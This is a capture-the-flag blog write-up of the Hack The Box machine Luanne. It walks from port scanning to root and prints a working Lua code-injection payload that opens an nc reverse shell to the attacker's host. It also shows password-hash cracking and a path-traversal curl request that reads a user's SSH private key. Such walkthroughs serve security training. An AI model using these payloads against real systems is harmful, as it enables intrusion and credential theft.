18th September 2021
Hack The Box Write-Up Luanne by T13nn3s

Hack The Box Write-Up Luanne

Rest satisfied with doing well, and leave others to talk of you as they will.


About Luanne

In this post, I’m writing a write-up for the machine Luanne from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

Luanne is an ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10, and submitting the root flag your points will be raised by 15.

Author Notes
This is the first box for 2021, so all the best wishes for 2021! In the month of December 2020, I had no time for Hack The Box machines. I was participating in an Advent of CTF competition, you can read the write-up from the Advent of CTF competition here.

After the port scan, we can discover three open ports. The first port is 22/tcp (SSH), the second port is 80/tcp and the last one is 9001/tcp. We started the enumeration on the HTTP-port and visited the website, there is directly an authentication box visible and the enumeration stops here for now. After reading the robots.txt, we can found the /weather directory and through fuzzing with ffuf, we have found the /weather/forecast directory. After playing with the web application, we managed to do a lua code injection to do Remote Code Execution (RCE) for establishing a reverse shell to our machine.

After walking through the files we have found a password hash, and after cracking this hash, we are able to do some authentication against the web application through 3000/tcp on the local machine. Through this port with curl we have managed to read the id_rsa file from the user account r.michaels. After establishing an SSH-session as r.michaels we are able to grab the user flag.

From the home directory, we are able to read an encrypted archive. With netpgp we can decrypt this archive and read a password hash from the contents. After decrypting this hash we are left with the root password. Through the sudo alternative doas we are able to read the root flag.

Machine Info

Hack The Box Write-Up Luanne by T13nn3s
Hack The Box Write-Up Luanne by T13nn3s
Hack The Box Luanne Machine IP and machine maker
Hack The Box Luanne Machine IP and Machine Maker


Port scan

As always we start this machine with enumerating the open ports.

~$ nmap -sC -sV -oA ./nmap/

The results of the port scan.

Starting Nmap 7.90SVN ( https://nmap.org ) at 2021-01-09 14:47 CET
Nmap scan report for
Host is up (0.039s latency).
Not shown: 997 closed ports
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry 
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.58 seconds 

We got three open ports. The first port is 22/tcp (SSH). It’s running OpenSSH 8.0. The second port is the default HTTP port 80/tcp. What we can notice is that there is a robots.txt file present, which has on disallowed entry /weather. The third port is 9001/tcp. This port is quite interesting, there is running a Supervisor Process Manager service behind this port. I already know that back in April 2020, there was a vulnerability found in version 1.12. Supervisor is a process control system developed by python, a tool for managing background services, similar to the Systemd program that comes with Linux.

Enumeration Web Server

Let’s explore the gates from top to bottom to see what we can find and if we can find a foothold to the network. We skip the SSH port. We visited this URL

Hack The Box Luanne WebServer
Hack The Box Luanne Authentication Required

At this moment we do not have any credentials. I’ve tried some default credentials, like username admin and password admin and so forth, but nothing happens. No extra error messages or something. From the port scan, we know that there is a robots.txt file present, with information. Let’s read the contents of this file.

~$ curl
User-agent: *
Disallow: /weather  #returning 404 but still harvesting cities 

A request with curl is indeed resulting in an HTTP 404 error.

<head><title>404 Not Found</title></head>
<center><h1>404 Not Found</h1></center>

What is the comment but still harvesting cities meaning? Let’s start the directory brute-forcer ffuf.

~$ ffuf -c -w ../../wordlists/dirbuster/directory-list-2.3-big.txt -u

         /'___\  /'___\           /'___\       
        /\ \__/ /\ \__/  __  __  /\ \__/       
        \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
         \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
          \ \_\   \ \_\  \ \____/  \ \_\       
           \/_/    \/_/   \/___/    \/_/       


  :: Method           : GET
  :: URL              :
  :: Wordlist         : FUZZ: ../../wordlists/dirbuster/directory-list-2.3-big.txt
  :: Follow redirects : false
  :: Calibration      : false
  :: Timeout          : 10
  :: Threads          : 40
  :: Matcher          : Response status: 200,204,301,302,307,401,403

 forecast                [Status: 200, Size: 90, Words: 12, Lines: 2]
 :: Progress: [52254/1273833] :: Job [1/1] :: 383 req/sec :: Duration: [0:03:46] :: Errors: 0 :: 

After testing some rounds, we got hold of the wordlist directory-list-2.3-big.txt.


Remote Code Execution (RCE)

Let’s give the founded directory /forecast to curl.

~$ curl
 {"code": 200, "message": "No city specified. Use 'city=list' to list available cities."} 

This is an interesting message. We need to define a city to get more information. Let’s use Burp Suite from this point and try to find out if we can get some information from this machine. After trying some payloads, with this payload we see an error message as the response.

GET /weather/forecast?city=list HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 11

The response contains several names of cities.

HTTP/1.1 200 Ok
Server: nginx/1.19.0
Date: Sat, 09 Jan 2021 15:02:18 GMT
Content-Type: application/json
Connection: close
Content-Length: 173
{"code": 200,"cities":["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}

By modifying the request by replacing the word list for one of the cities, we can get the weather forecast. We have checked all of the cities, and none of them is giving interesting information back, we only get a weather forecast back. Let’s try to replace the name of the city with a single quote ('). The full request will be GET /weather/forecast?city=list HTTP/1.1. We are getting back an error message.

HTTP/1.1 500 Error
Server: nginx/1.19.0
Date: Sat, 09 Jan 2021 15:13:30 GMT
Content-Type: application/json
Connection: close
Content-Length: 77
Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value

This error message is very interesting and makes the web application vulnerable to Remote Code Execution (RCE). The value of the parameter city is being passed to the file weather.lua, and then this file is being executed. If we can find a way to break out of this script, which can lead to RCE.

After some time of development, we have this payload for the reverse shell.');os.execute("rm /tmp/f;mkfifo /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f")

After trying this payload through Burp Suite, the payload needs some modifications and after developing it further we got a working payload. It has taken me some time to figure out why the payload wasn’t working in the first place. After replacing the spaces with %20 and the &1 character for %261. But last not least, I have to add two dashes to the end of the payload --. This is known from an SQL injection, that everything that comes after it can be seen as a comment. The rest of the script is therefore not executed. With my reverse shell listener the connection comes in and we have a shell on this machine after a successful code injection.

GET /weather/forecast?city=London');os.execute("rm%20/tmp/f;mkfifo%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.7%204444%20>/tmp/f")-- HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Reverse shell as _httpd

We have a reverse shell as the user _httpd. Let’s enumerate from this point and find information for our next step.

 Listening on any address 4444 (krb524)
 Connection from
 sh: can't access tty; job control turned off
 $ whoami

There is the home directory visible for the user account /home/r.michaels. We do not have permission to access this account, from our current user account. We also do not have the privileges to download linpeas.sh to the machine. This means we have to do the enumeration manually. Let’s first find out what we have in our current working directory /var/www.

We got luck! There is a file /var/www/.htpasswd here, and it contains a username and password.

$ pwd
$ cat .htpasswd

After cracking this md5crypt hash with john, we got this password: iamthebest. Tried to use these credentials to switch to the user account r.michaels, but that’s not working. On further enumeration, I found that this box is also listening on port 3000 and 3001.

$ netstat -ant                                                                                                                                                                           
 Active Internet connections (including servers)                                                                                                                                          
 Proto Recv-Q Send-Q  Local Address          Foreign Address        State                                                                                                                 
 tcp        0      0        ESTABLISHED                                                                                                           
 tcp        0      0        ESTABLISHED                                                                                                           
 tcp        0      0         ESTABLISHED                                                                                                           
 tcp        0      0       ESTABLISHED                                                                                                           
 tcp        0      0        CLOSE_WAIT                                                                                                            
 tcp        0      0        CLOSE_WAIT                                                                                                            
 tcp        0      0        ESTABLISHED                                                                                                           
 tcp        0      0        CLOSE_WAIT                                                                                                            
 tcp        0      0        CLOSE_WAIT
 tcp        0      0        CLOSE_WAIT
 tcp        0      0        CLOSE_WAIT
 tcp        0      0        CLOSE_WAIT
 tcp        0      0        CLOSE_WAIT
 tcp        0      0         *.*                    LISTEN
 tcp        0      0         *.*                    LISTEN 

With curl I can authenticate on both of the ports with the curl command below.

~$  curl localhost:<port> --user webapi_user:iamthebest 

I get the same response back as the website has given em after the authentication.

SSH access as r.michaels

After trying some time, I came to mind to get the Private Key for SSH from the user account r.michaels. After some developing on the payload, I’ve grabbed the private key.

~$ curl localhost:3001/../../../~r.michaels/id_rsa --user webapi_user:iamthebest 
 p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 14.0px Monaco; color: #f2f2f2; background-color: #000000; background-color: rgba(0, 0, 0, 0.85)} span.s1 {font-variant-ligatures: no-common-ligatures} 
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                                                                                          
                                  Dload  Upload   Total   Spent    Left  Speed                                                                                                            
 100  2610  100  2610    0     0   637k      0 --:--:-- --:--:-- --:--:--  637k                                                                                                           
 -----BEGIN OPENSSH PRIVATE KEY-----                                                                                                                                                      

I’ve placed this key in the file id_rsa, and started an SSH session as the user r.michaels and I’ve directly grabbed the flag.

~$ chmod 600 id_rsa
~$  ssh -i id_rsa [email protected]
 Last login: Fri Sep 18 07:06:51 2020
 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020

 Welcome to NetBSD!

 luanne$ cat user.txt

Privilege Escalation


Let’s start with enumerating to gain root privileges on this machine. In the home directory of the user account, r.michaels there is an encrypted gunzip file /backups/devel_backup-2020-09-16.tar.gz.enc. Let’s download this file to my machine.

~$  scp -i id_rsa [email protected]:/home/r.michaels/backups
devel_backup-2020-09-16.tar.gz.enc                        100% 1970    43.0KB/s   00:00 

We need to find a way to read the contents of this encrypted archive. I tried to decrypt this archive on my local machine but it’s not gonna work, there is a key or password needed for decryption, which we do not have at this moment. Maybe the encryption key is still in memory of the machine or somewhere else?

After some searching and asking around, we got the information about netpgp. This is a NetBSD project for encrypting and decrypting files. This program is on this machine.

luanne$ which netpgp
luanne$ netpgp
NetPGP portable 3.99.17/[20101103]
All bug reports, praise and chocolate, please, to:
Alistair Crooks <[email protected]> c0596823
Usage: netpgp COMMAND OPTIONS:
netpgp  --help OR
        --encrypt [--output=file] [options] files... OR
        --decrypt [--output=file] [options] files... OR

        --sign [--armor] [--detach] [--hash=alg] [--output=file]
                [options] files... OR
        --verify [options] files... OR
        --cat [--output=file] [options] files... OR
       --clearsign [--output=file] [options] files... OR
        --list-packets [options] OR
where options are:
        [--cipher=<ciphername>] AND/OR
        [--coredumps] AND/OR
        [--homedir=<homedir>] AND/OR
        [--keyring=<keyring>] AND/OR
        [--numtries=<attempts>] AND/OR
        [--userid=<userid>] AND/OR
        [--maxmemalloc=<number of bytes>] AND/OR

Decrypting archive file

Let’s give it a try to decrypt the archive. After some trying, we managed to decrypt the archive with the command below. First, we’ve tried to put the decrypted file in the same directory as the encrypted file, but we do not have the privileges to write files in the current directory.

luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a 
uid              RSA 2048-bit key <[email protected]> 

Well, as we can see, we have permission denied on the file devel_backup-2020-09-16.tar.gz.enc.gpg. NetBSD does not support sudo. We need to find the equivalent for this distribution. The next step is downloading this archive to our machine and read the contents.

~$ scp -i id_rsa [email protected]:/tmp/devel_backup-2020-09-16.tar.gz .
devel_backup-2020-09-16.tar.gz                                                                                                                         100% 1639    36.9KB/s   00:00 
~$ sudo tar -xvf devel_backup-2020-09-16.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd 

Let’s check the file contents. In the .htpasswd we can find again a hash. After cracking this hash with john we got left with the password: littlebear.

~$ cd ../www/
~$ ls
.htpasswd       index.html
~$ cat .htpasswd 

Privilege Escalation

We have now a password. We can check if we can jump to a privileges user account like root with this password. As this NetBSD installation doesn’t have sudo, we can use the alternative doas to read the root flag with the founded password.

luanne$ doas -u root cat root.txt

And, we have rooted our first box in 2021! It was a CTF-like machine. It was full of rabbit holes, but unlike many others, we were not jumped into any rabbit holes this time. First, I thought that we have to do something with the Supervisor Process Manager, but in the end, we have even not touched that piece of software.

Did you like this write-up? Please consider spending a respect point: https://www.hackthebox.eu/home/users/profile/224856.

Happy-hacker-fase 🙂


I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

View all posts by T13nn3s →

Leave a Reply

Your email address will not be published. Required fields are marked *